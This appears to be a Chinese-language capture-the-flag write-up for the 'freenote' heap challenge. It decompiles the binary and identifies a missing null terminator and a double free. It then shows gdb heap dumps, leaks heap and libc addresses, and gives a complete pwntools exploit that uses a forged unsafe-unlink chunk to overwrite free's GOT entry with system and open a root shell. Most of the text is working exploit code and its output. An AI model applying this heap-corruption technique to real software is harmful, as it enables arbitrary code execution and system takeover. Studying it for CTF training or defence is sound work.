file

file freenote
freenote: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=dd259bb085b3a4aeb393ec5ef4f09e312555a64d, stripped

checksec

>>> from pwn import *
>>> print ELF('./freenote').checksec()
[*] '/root/sploitfun/freenote/freenote'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

这个binary中有五个功能:查看笔记,新增笔记,修改笔记,删除笔记和退出,ida查看代码

int new_note()
{
  __int64 v0; // rax@2
  unsigned int v1; // eax@9
  void *v2; // ST18_8@9
  int i; // [sp+Ch] [bp-14h]@3
  int v5; // [sp+10h] [bp-10h]@5

  if ( *(_QWORD *)(qword_6020A8 + 8) < *(_QWORD *)qword_6020A8 )	//这个地址的值貌似保存着list的数量
  {
    for ( i = 0; ; ++i )
    {
      v0 = *(_QWORD *)qword_6020A8;							
      if ( (signed __int64)i >= *(_QWORD *)qword_6020A8 )			//当i大于list数量,就停
        break;
      if ( !*(_QWORD *)(qword_6020A8 + 24LL * i + 16) )				//这个代表结构体是否被使用
      {
        printf("Length of new note: ");
        v5 = get_num_maybe();										//输入一个长度
        if ( v5 > 0 )
        {
          if ( v5 > 4096 )                     						// 对输入的长度进行检查
            v5 = 4096;
          v1 = (unsigned int)((signed int)(128
                                         - (((((unsigned int)((unsigned __int64)v5 >> 32) >> 25) + (_BYTE)v5) & 0x7F)
                                          - ((unsigned int)((unsigned __int64)v5 >> 32) >> 25))) >> 31) >> 25;
          v2 = malloc((signed int)((((_BYTE)v1 + -128 - (char)v5 % -128) & 0x7F) - v1 + v5));
          printf("Enter your note: ");
          input_morty((__int64)v2, v5);         // (指针,长度)
          *(_QWORD *)(qword_6020A8 + 24LL * i + 16) = 1LL;		// 表示这个结构体已经被占用
          *(_QWORD *)(qword_6020A8 + 24LL * i + 24) = v5;		//这里保存长度
          *(_QWORD *)(qword_6020A8 + 24LL * i + 32) = v2;		//这里保存记录的内容
          ++*(_QWORD *)(qword_6020A8 + 8);						//这个地址的值自加1
          LODWORD(v0) = puts("Done.");
        }
        else
        {
          LODWORD(v0) = puts("Invalid length!");
        }
        return v0;
      }
    }
  }
  else
  {
    LODWORD(v0) = puts("Unable to create new note.");
  }
  return v0;
}
int list_note()
{
  __int64 v0; // rax@6
  unsigned int i; // [sp+Ch] [bp-4h]@2

  if ( *(_QWORD *)(qword_6020A8 + 8) <= 0LL )
  {
    LODWORD(v0) = puts("You need to create some new notes first.");
  }
  else
  {
    for ( i = 0; ; ++i )
    {
      v0 = *(_QWORD *)qword_6020A8;
      if ( (signed __int64)(signed int)i >= *(_QWORD *)qword_6020A8 )		//这个位置表示list的数量
        break;
      if ( *(_QWORD *)(qword_6020A8 + 24LL * (signed int)i + 16) == 1LL )		//这个位置为1表示占用
        printf("%d. %s\n", i, *(_QWORD *)(qword_6020A8 + 24LL * (signed int)i + 32));//例如 0. aaa ,32这个位置保存记录的内容
    }
  }
  return v0;
}
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  sub_4009FD();                                 // 设置setvbuf
  sub_400A49();                                 // 设置setvbuf
  while ( 1 )
  {
    switch ( input_choice() )
    {
      case 1:
        list_note();
        break;
      case 2:
        new_note();
        break;
      case 3:
        edit_note();
        break;
      case 4:
        del_note();
        break;
      case 5:
        puts("Bye");
        return 0LL;
      default:
        puts("Invalid!");
        break;
    }
  }
}

第一处漏洞如下

__int64 __fastcall input_morty(__int64 a1, unsigned int a2)
{
  __int64 result; // rax@2
  signed int i; // [sp+18h] [bp-8h]@3
  int v4; // [sp+1Ch] [bp-4h]@4

  if ( (signed int)a2 > 0 )
  {
    for ( i = 0; i < (signed int)a2; i += v4 )  //这里没有将\x00添加进去
    {
      v4 = read(0, (void *)(a1 + i), (signed int)(a2 - i));
      if ( v4 <= 0 )
        break;
    }
    result = (unsigned int)i;
  }
  else
  {
    result = 0LL;
  }
  return result;
}

第二处漏洞如下(double free)

int del_note()
{
  int result; // eax@4
  int v1; // [sp+Ch] [bp-4h]@2

  if ( *(_QWORD *)(qword_6020A8 + 8) <= 0LL )
  {
    result = puts("No notes yet.");
  }
  else
  {
    printf("Note number: ");
    v1 = get_num_maybe();		
    if ( v1 >= 0 && (signed __int64)v1 < *(_QWORD *)qword_6020A8 )	//输入的值小于list的数量
    {
      --*(_QWORD *)(qword_6020A8 + 8);						//这个指针的值子减
      *(_QWORD *)(qword_6020A8 + 24LL * v1 + 16) = 0LL;		//占用置零
      *(_QWORD *)(qword_6020A8 + 24LL * v1 + 24) = 0LL;		//长度置零
      free(*(void **)(qword_6020A8 + 24LL * v1 + 32));		//将这个malloc值free掉,free掉之后没有置零,存在漏洞
      result = puts("Done.");
    }
    else
    {
      result = puts("Invalid number!");
    }
  }
  return result;
}

编写各个功能exp如下

from pwn import *

def list():
    p.recvuntil('Your choice: ')
    p.sendline('1')

def new(len,data):
    p.recvuntil('Your choice: ')
    p.sendline('2')
    p.recvuntil('Length of new note: ')
    p.sendline(str(len))
    p.recvuntil('Enter your note: ')
    p.sendline(data)

def edit(index,len,data):
    p.recvuntil('Your choice: ')
    p.sendline('3')
    p.recvuntil('Note number: ')
    p.sendline(str(index))
    p.recvuntil('Length of new note: ')
    p.sendline(str(len))
    p.recvuntil('Enter your note: ')
    p.sendline(data)

def delte(index):
    p.recvuntil('Your choice: ')
    p.sendline('4')
    p.recvuntil('Note number: ')
    p.sendline(str(index))

def exit():
    p.recvuntil('Your choice: ')
    p.sendline('5')

p = process('./freenote')
new(4,'aaaa')
new(4,'bbbb')
list()

p.interactive()

我们可以先new4个chunk,然后再free两个,并使其不合并

new(1, 'a')
new(1, 'a')
new(1, 'a')
new(1, 'a')         #malloc 4个chunk
delte(0)
delte(2)            #free两个间隔的,使之不合并

此时四个chunk的情况如下

gdb-peda$ x/4gx 0x604820
0x604820:	0x0000000000000000	0x0000000000000091  <-- chunk 0 [be freed]
0x604830:	0x6262626261616161	0x0000000000604940  <-- fd->main_arena+88 <-- bk->chunk 2

gdb-peda$ x/4gx 0x604820+0x90
0x6048b0:	0x0000000000000090	0x0000000000000091  <-- chunk 1
0x6048c0:	0x0000000000000061	0x0000000000000000

gdb-peda$ x/4gx 0x604820+0x90+0x90
0x604940:	0x0000000000000000	0x0000000000000091  <-- chunk 2 [be freed]
0x604950:	0x6464646463636363	0x00007ffff7dd7678  <-- fd->chunk 0 <-- bk->main_arena+88

gdb-peda$ x/4gx 0x604820+0x90+0x90+0x90
0x6049d0:	0x0000000000000090	0x0000000000000091  <-- chunk 3
0x6049e0:	0x0000000000000061	0x0000000000000000

gdb-peda$ x/4gx 0x604820+0x90+0x90+0x90+0x90
0x604a60:	0x0000000000000000	0x00000000000205a1  <-- top chunk
0x604a70:	0x0000000000000000	0x0000000000000000

发送第一个payload之后

gdb-peda$ x/6gx 0x604820
0x604820:	0x0000000000000000	0x0000000000000091
0x604830:	0x0000000000000000	0x0000000000000021
0x604840:	0x0000000000603018	0x0000000000603020
gdb-peda$ x/6gx 0x604820 + 0x90
0x6048b0:	0x0000000000000090	0x0000000000020751
0x6048c0:	0x0000000000000061	0x0000000000000000
0x6048d0:	0x0000000000000000	0x0000000000000000
gdb-peda$ x/6gx 0x604820 + 0x90 + 0x90
0x604940:	0x0000000000000000	0x00000000000206c1
0x604950:	0x6464646463636363	0x00007ffff7dd7678
0x604960:	0x0000000000000000	0x0000000000000000
gdb-peda$ x/6gx 0x604820 + 0x90 + 0x90 + 0x90
0x6049d0:	0x0000000000000090	0x0000000000020631
0x6049e0:	0x0000000000000061	0x0000000000000000
0x6049f0:	0x0000000000000000	0x0000000000000000

发送第二个payload之后

gdb-peda$ x/6gx 0x604820
0x604820:	0x0000000000000000	0x0000000000000091
0x604830:	0x0000000000000000	0x0000000000000021//第三个chunk指向了这里
0x604840:	0x0000000000603018	0x0000000000603020
gdb-peda$ x/6gx 0x604820 + 0x90
0x6048b0:	0x0000000000000090	0x0000000000000211
0x6048c0:	0x0068732f6e69622f	0x4141414141414141		//第一个是"/bin/sh\x00"
0x6048d0:	0x4141414141414141	0x4141414141414141
gdb-peda$ x/6gx 0x604820 + 0x90 + 0x90
0x604940:	0x0000000000000110	0x0000000000000090//表示前一个是freed
0x604950:	0x4141414141414141	0x4141414141414141
0x604960:	0x4141414141414141	0x4141414141414141
gdb-peda$ x/6gx 0x604820 + 0x90 + 0x90 + 0x90
0x6049d0:	0x0000000000000000	0x0000000000000091
0x6049e0:	0x4141414141414141	0x4141414141414141
0x6049f0:	0x4141414141414141	0x4141414141414141

payload3之后

gdb-peda$ x/6gx 0x0000000000603008
0x603008:	0x0000000000001821	0x0000000000000100
0x603018:	0x0000000000000008	0x0000000000000001
0x603028:	0x0000000000000008	0x0000000000602018

我们看到,note 0 的 content 指针被修改为free_got

根据偏移找到main_arena地址

gdb-peda$ x/gx 0x00007ffff7dd7678
0x7ffff7dd7678 <main_arena+88>:	0x0000000000604a60
gdb-peda$ x/gx 0x00007ffff7dd7678-88
0x7ffff7dd7620 <main_arena>:	0x0000000100000000

再根据偏移计算出malloc_hook地址

gdb-peda$ x/4gx 0x7ffff7dd7620-1*16
0x7ffff7dd7610 <__malloc_hook>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd7620 <main_arena>:	0x0000000100000000	0x0000000000000000

首先查看__malloc_hook的偏移

readelf -s libc-2.19.so | grep __malloc_hook
  1077: 000000000039b610     8 OBJECT  WEAK   DEFAULT   31 __malloc_hook@@GLIBC_2.2.5
  7272: 000000000039b610     8 OBJECT  WEAK   DEFAULT   31 __malloc_hook

通过leak出的值,可以计算出初始chunk的地址和libc的地址

gdb-peda$ x/gx 0x7ffff7dd7678-88-16-0x39b610
0x7ffff7a3c000:	0x03010102464c457f

验证

more /proc/31078/maps
00400000-00402000 r-xp 00000000 fd:00 42359250                           /root/sploitfun/freenote/freenote
00601000-00602000 r--p 00001000 fd:00 42359250                           /root/sploitfun/freenote/freenote
00602000-00603000 rw-p 00002000 fd:00 42359250                           /root/sploitfun/freenote/freenote
00603000-00625000 rw-p 00000000 00:00 0                                  [heap]
7ffff7a3c000-7ffff7bd4000 r-xp 00000000 fd:00 110553221                  /root/sploitfun/gccwget/glibc-2.19/64/lib/libc-2.19.so

根据libc base,计算出system地址

readelf -s libc-2.19.so | grep system@@
   576: 000000000003d3d5    41 FUNC    GLOBAL DEFAULT   12 __libc_system@@GLIBC_PRIVATE
  1335: 000000000003d3d5    41 FUNC    WEAK   DEFAULT   12 system@@GLIBC_2.2.5

最终的exp

#coding=utf-8
from pwn import *

def list():
    p.recvuntil('Your choice: ')
    p.sendline('1')

def new(len,data):
    p.recvuntil('Your choice: ')
    p.sendline('2')
    p.recvuntil('Length of new note: ')
    p.sendline(str(len))
    p.recvuntil('Enter your note: ')
    p.sendline(data)

def edit(index,len,data):
    p.recvuntil('Your choice: ')
    p.sendline('3')
    p.recvuntil('Note number: ')
    p.sendline(str(index))
    p.recvuntil('Length of note: ')
    p.sendline(str(len))
    p.recvuntil('Enter your note: ')
    p.sendline(data)

def delte(index):
    p.recvuntil('Your choice: ')
    p.sendline('4')
    p.recvuntil('Note number: ')
    p.sendline(str(index))

def exit():
    p.recvuntil('Your choice: ')
    p.sendline('5')

p = process('./freenote')

new(1, 'a')
new(1, 'a')
new(1, 'a')
new(1, 'a')         #malloc 4个chunk
delte(0)
delte(2)            #free两个间隔的,使之不合并
new(8, 'aaaabbbb')  #new一个长度为8的chunk,这样根据leak漏洞leak出bk的值
new(8, 'ccccdddd')
list()
p.recvuntil("aaaabbbb")
heap_addr = u64(p.recvline().strip("\x0a").ljust(8, "\x00"))
heap_base = heap_addr - 0x1940          # 0x1940 = 0x1820 + 0x90*2
print hex(heap_base)
p.recvuntil("ccccdddd")
leak_addr = u64(p.recvline().strip("\x0a").ljust(8, "\x00"))
libc_base = leak_addr -88-16-0x39b610       #leak_addr - main_arena_off - main_arena_malloc_hook - malloc_hook_off
print hex(libc_base)
system_addr = libc_base + 0x3d3d5           #0x3d3d5 = system_off
print hex(system_addr)

delte(3)            #将四个chunk全部free,消除掉
delte(2)
delte(1)
delte(0)

#double link
payload01 = p64(0) + p64(0x21) + p64(heap_base + 0x30 - 0x18) + p64(heap_base + 0x30 - 0x10)
new(len(payload01), payload01)

payload02 = "/bin/sh\x00".ljust(0x80,'A')               #第二个chunk的内容
payload02 += p64(0x110) + p64(0x90) + "A"*0x80          #覆盖到之前的第三个chunk
payload02 += p64(0) + p64(0x91) + "A"*0x80              #覆盖到之前的第四个chunk
new(len(payload02), payload02)

delte(2)        #free第三个,造成第二个chunk unlink,将note 0 的 content 指针指向其地址-0x18处

payload03 = p64(8) + p64(0x1) + p64(0x8) + p64(0x602018)    #   0x602018 = free_got

edit(0, 0x20, payload03)                #   note 0 的 content 指针被修改为free_got
edit(0, 0x8, p64(system_addr))          #   note 0 的 content 指针已经改为free_got,这时修改note 0 就是修改free_got,我们将free_got改为system的地址

delte(1)        #1指向了"/bin/sh\x00",所以 delte(1) = system("/bin/sh")
p.interactive()

运行的结果

python morty.py 
[+] Starting local process './freenote': pid 1598
0x603000
0x7ffff7a3c000
0x7ffff7a793d5
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root)=0(root)